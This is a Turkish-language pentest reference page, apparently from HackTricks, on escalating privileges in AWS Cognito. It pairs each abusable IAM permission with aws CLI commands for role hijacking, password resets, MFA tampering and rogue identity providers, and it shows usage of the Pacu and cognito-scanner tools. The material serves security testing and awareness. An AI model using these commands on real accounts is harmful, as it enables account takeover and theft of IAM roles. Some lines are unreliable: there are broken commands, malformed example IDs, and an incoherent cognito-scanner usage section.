AWS - Cognito Privesc

htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Cognito

Cognito hakkında daha fazla bilgi için:

pageAWS - Cognito Enum

Kimlik Havuzundan Kimlik Bilgileri Toplama

Cognito, kimlik doğrulama yapılmış ve kimlik doğrulama yapılmamış kullanıcılara IAM rol kimlik bilgileri verebildiği için, bir uygulamanın Kimlik Havuzu Kimliği'ni (bu genellikle uygulamada sabitlenmiştir) bulursanız, yeni kimlik bilgilerini elde edebilir ve dolayısıyla yetkilendirme yükseltme yapabilirsiniz (muhtemelen daha önce hiçbir kimlik bilginizin olmadığı bir AWS hesabında).

Daha fazla bilgi için bu sayfayı kontrol edin.

Potansiyel Etki: Kimlik doğrulama yapılmamış kullanıcılara bağlı hizmetler rolüne doğrudan yetkilendirme yükseltme (ve muhtemelen kimlik doğrulama yapılmış kullanıcılara bağlı olanına da).

cognito-identity:SetIdentityPoolRoles, iam:PassRole

Bu izinle, cognito uygulamasının kimlik doğrulama yapılmış/kimlik doğrulama yapılmamış kullanıcılarına herhangi bir cognito rolü verebilirsiniz.

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ole

Eğer cognito uygulamasında kimliği doğrulanmamış kullanıcılar etkinleştirilmemişse, bunu etkinleştirmek için cognito-identity:UpdateIdentityPool iznine de ihtiyacınız olabilir.

Potansiyel Etki: Herhangi bir cognito rolüne doğrudan ayrıcalık yükseltme.

cognito-identity:update-identity-pool

Bu izne sahip bir saldırgan, örneğin kendi kontrolü altındaki bir Cognito Kullanıcı Havuzu veya giriş yapabileceği başka bir kimlik sağlayıcıyı ayarlayabilir ve böylece bu Cognito Kimlik Havuzuna erişim sağlama yolunu elde edebilir. Ardından, sadece o kullanıcı sağlayıcıya giriş yapmak, yapılandırılmış kimlik havuzundaki doğrulanmış rolüne erişimine izin verecektir.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Bu izni kötüye kullanarak temel yetkilendirmeyi etkinleştirmek de mümkündür:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Potansiyel Etki: Kimlik havuzundaki yapılandırılmış yetkilendirilmiş IAM rolünü tehlikeye atar.

cognito-idp:AdminAddUserToGroup

Bu izin, bir Cognito kullanıcısını Cognito grubuna eklemeye izin verir, bu nedenle bir saldırgan bu izni kötüye kullanarak kontrolü altındaki bir kullanıcıyı daha iyi ayrıcalıklara veya farklı IAM rollerine sahip diğer gruplara ekleyebilir:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Potansiyel Etki: Diğer Cognito gruplarına ve Kullanıcı Havuzu Gruplarına bağlı IAM rollerine ayrıcalık yükseltme.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Bu izinlere sahip bir saldırgan, kompromize edilmiş bir Cognito Kimlik Sağlayıcısı tarafından kullanılabilecek her IAM rolüyle grupları oluşturabilir/güncelleyebilir ve kompromize edilmiş bir kullanıcıyı gruba dahil ederek tüm bu rolleri erişebilir:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Potansiyel Etki: Diğer Cognito IAM rollerine ayrıcalık yükseltme.

cognito-idp:AdminConfirmSignUp

Bu izin, bir kaydı doğrulamaya izin verir. Varsayılan olarak, herhangi biri Cognito uygulamalarına giriş yapabilir, eğer bu izin bırakılırsa, bir kullanıcı herhangi bir veriyle bir hesap oluşturabilir ve bunu bu izinle doğrulayabilir.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Potansiyel Etki: Yeni bir kullanıcı kaydedebilirseniz, kimlik havuzu IAM rolünde kimlik doğrulama yapmış kullanıcılara dolaylı bir ayrıcalık yükseltme yapabilirsiniz. Herhangi bir hesabı onaylayabilme yeteneğiyle diğer uygulama işlevlerine dolaylı bir ayrıcalık yükseltme yapabilirsiniz.

cognito-idp:AdminCreateUser

Bu izin, saldırganın kullanıcı havuzunda yeni bir kullanıcı oluşturmasına izin verir. Yeni kullanıcı etkin olarak oluşturulur, ancak şifresini değiştirmesi gerekecektir.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Potansiyel Etki: Kimlik havuzu IAM rolünde doğrudan ayrıcalık yükseltme. Herhangi bir kullanıcı oluşturabilme yeteneği ile diğer uygulama işlevlerine dolaylı ayrıcalık yükseltme.

cognito-idp:AdminEnableUser

Bu izinler, bir saldırganın devre dışı bırakılmış bir kullanıcının kimlik bilgilerini bulduğu ve tekrar etkinleştirmesi gerektiği çok nadir bir senaryoda yardımcı olabilir.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Potansiyel Etki: Yetkilendirilmiş kullanıcılar için kimlik havuzu IAM rolüne dolaylı olarak ayrıcalık yükseltme ve saldırganın devre dışı bırakılmış bir kullanıcının kimlik bilgilerine sahip olması durumunda kullanıcının izinlerine erişme.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Bu izin, ADMIN_USER_PASSWORD_AUTH** yöntemiyle giriş yapmaya izin verir**. Daha fazla bilgi için bağlantıyı takip edin.

cognito-idp:AdminSetUserPassword

Bu izin, bir saldırganın herhangi bir kullanıcının şifresini değiştirmesine olanak tanır, böylece herhangi bir kullanıcının yerine geçebilir (MFA etkin olmayan kullanıcılar için).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Potansiyel Etki: Potansiyel olarak herhangi bir kullanıcıya doğrudan ayrıcalık kazanma, her kullanıcının üye olduğu tüm gruplara erişim ve Kimlik Havuzu kimlik doğrulama IAM rolüne erişim.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Bir saldırgan, bu izni kullanarak bir kullanıcının SMS MFA'sı olarak kontrolü altındaki bir mobil telefonu ayarlayabilir.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Öncekiyle benzer şekilde, bu izin kullanıcıların MFA tercihlerini ayarlamak için kullanılabilir ve MFA korumasını atlamak için kullanılabilir.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Öncekiyle benzer şekilde, bu izin kullanıcı havuzunun MFA tercihlerini ayarlamak için kullanılabilir ve MFA korumasını atlamak için kullanılabilir.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: Kullanıcı havuzunu güncelleyerek MFA politikasını değiştirmek mümkündür. Buradan cli'yi kontrol edin.

Potansiyel Etki: Saldırganın kimlik bilgilerini bildiği herhangi bir kullanıcıya dolaylı olarak yetki yükseltme yapabilmesi, MFA korumasını atlamasına izin verebilir.

cognito-idp:AdminUpdateUserAttributes

Bu izne sahip bir saldırgan, kontrolü altındaki bir kullanıcının e-posta veya telefon numarasını veya başka bir özniteliğini değiştirerek altta yatan bir uygulamada daha fazla ayrıcalık elde etmeye çalışabilir. Bu, bir e-posta veya telefon numarasını değiştirip doğrulanmış olarak ayarlamayı sağlar.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Potansiyel Etki: Kullanıcı özniteliklerine dayalı yetkilere sahip olan Cognito Kullanıcı Havuzu kullanarak, altta yatan uygulamada potansiyel dolaylı yetki yükseltme.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Bu izne sahip bir saldırgan, zaten mevcut havuz istemcilerinden daha az kısıtlamalı bir yeni bir Kullanıcı Havuzu İstemcisi oluşturabilir. Örneğin, yeni istemci herhangi bir kimlik doğrulama yöntemine izin verebilir, herhangi bir gizli anahtara sahip olmayabilir, belirteç iptalini devre dışı bırakabilir, belirteçlerin daha uzun süre geçerli olmasına izin verebilir...

Aynı şey, mevcut bir istemcinin değiştirilmesi durumunda da yapılabilir.

Komut satırında (veya güncelleme komutunda) tüm seçenekleri görebilirsiniz, kontrol edin!.

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Potansiyel Etki: Kullanıcı Havuzu tarafından kullanılan Kimlik Havuzu yetkilendirilmiş kullanıcısına dolaylı bir ayrıcalık yükseltme potansiyeli, güvenlik önlemlerini gevşeten ve saldırganın oluşturabildiği bir kullanıcıyla giriş yapmasına olanak tanıyan yeni bir istemci oluşturarak.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Bir saldırgan, bu izni kötüye kullanarak yeni kullanıcıları içeren bir CSV yükleyerek kullanıcılar oluşturabilir.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(Eğer yeni bir içe aktarma işlemi oluşturursanız, henüz test etmedim ama iam passrole iznine ihtiyacınız olabilir).

Potansiyel Etki: Kimlik havuzu IAM rolüne doğrudan ayrıcalık yükseltme. Herhangi bir kullanıcı oluşturabilme yeteneğiyle diğer uygulama işlevlerine dolaylı ayrıcalık yükseltme.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Saldırgan, yeni bir kimlik sağlayıcı oluşturarak bu sağlayıcı aracılığıyla giriş yapabilir.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Potansiyel Etki: Kimlik havuzu IAM rolünde doğrudan ayrıcalık yükseltme. Herhangi bir kullanıcı oluşturabilme yeteneğiyle dolaylı olarak diğer uygulama işlevlerine ayrıcalık yükseltme.

cognito-sync:* Analizi

Bu, Cognito Kimlik Havuzlarının rollerinde varsayılan olarak çok yaygın bir izindir. İzinlerdeki joker karakter her zaman kötü görünse de (özellikle AWS'den geliyorsa), saldırgan perspektifinden verilen izinler çok kullanışlı değildir.

Bu izin, Kimlik Havuzlarının ve Kimlik Havuzları içindeki Kimlik Kimliklerinin kullanıcı bilgilerini okumaya izin verir (bu hassas bilgi değildir). Kimlik Kimlikleri, kendilerine atanan Veri Setlerini içerebilir, bunlar oturumların bilgileridir (AWS bunu bir kaydedilmiş oyun gibi tanımlar). Bu verilerin bazı hassas bilgiler içermesi mümkündür (ancak olasılık oldukça düşüktür). Bu bilgilere nasıl erişileceğini enumarasyon sayfasında bulabilirsiniz.

Bir saldırgan, bu izinleri ayrıca bu veri setlerindeki değişiklikleri yayınlayan bir Cognito akışına kendini kaydedebilir veya cognito olayları üzerinde tetiklenen bir lambda kullanabilir. Bunu kullanıldığını görmedim ve burada hassas bilgi beklemem, ancak imkansız değil.

Otomatik Araçlar

  • Pacu, AWS istismar çerçevesi, artık bir hesaptaki tüm Cognito varlıklarının enumarasyonunu otomatikleştiren "cognito__enum" ve "cognito__attack" modüllerini içerir ve zayıf yapılandırmaları, erişim kontrolü için kullanılan kullanıcı özniteliklerini vb. belirler ve değiştirilebilir özel özniteliklere dayalı kullanıcı oluşturmayı (MFA desteği de dahil olmak üzere) ve değiştirilebilir kimlik havuzu kimlik bilgilerini, kimlik belirteçlerindeki kabul edilebilir rolleri otomatikleştirir.

Modüllerin işlevlerinin açıklaması için blog yazısının ikinci bölümüne bakın. Kurulum talimatları için ana Pacu sayfasına bakın.

Kullanım

Belirli bir kimlik havuzu ve kullanıcı havuzu istemcisi için kullanıcı oluşturma ve tüm ayrıcalık yükseltme vektörlerini denemek için örnek cognito__attack kullanımı:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Mevcut AWS hesabında görünen tüm kullanıcı havuzları, kullanıcı havuzu istemcileri, kimlik havuzları, kullanıcılar vb. bilgileri toplamak için kullanılan örnek cognito__enum kullanımı:

cognito__enum

Bu komut, AWS hesabında bulunan tüm kullanıcı havuzlarını, kullanıcı havuzu istemcilerini, kimlik havuzlarını, kullanıcıları vb. listeleyecektir.

Pacu (new:test) > run cognito__enum
  • Cognito Scanner, Cognito üzerinde farklı saldırıları, bir privilage escalation (ayrıcalık yükseltme) dahil olmak üzere uygulayan Python tabanlı bir CLI aracıdır.

Kurulum

$ pip install cognito-scanner

Kullanım

python3 aws_cognito_privesc.py <access_key> <secret_key> <user_pool_id> <region>

Açıklama

Bu araç, AWS Cognito hizmetinde ayrıcalık yükseltme saldırıları gerçekleştirmek için kullanılır. Saldırganın, hedef kullanıcının kimlik bilgilerine (erişim anahtarı ve gizli anahtar) ve hedef kullanıcı havuzunun kimlik bilgilerine (kullanıcı havuzu kimlik bilgisi ve bölge) erişimi olmalıdır.

Örnek

python3 aws_cognito_privesc.py ABCDEFGHIJKLMNOPQRST 1234567890abcdefghijklmnopqrstuvwxyz1234 us-west-2

Bu örnekte, saldırganın erişim anahtarı "ABCDEFGHIJKLMNOPQRST" ve gizli anahtarı "1234567890abcdefghijklmnopqrstuvwxyz1234" olarak kabul edilir. Hedef kullanıcı havuzu kimlik bilgisi "us-west-2" bölgesinde bulunan bir kullanıcı havuzunu temsil eder.

$ cognito-scanner --help

Daha fazla bilgi için https://github.com/padok-team/cognito-scanner adresini kontrol edin.

AWS hackleme konusunda sıfırdan kahraman olmak için htARTE (HackTricks AWS Kırmızı Takım Uzmanı)'ı öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated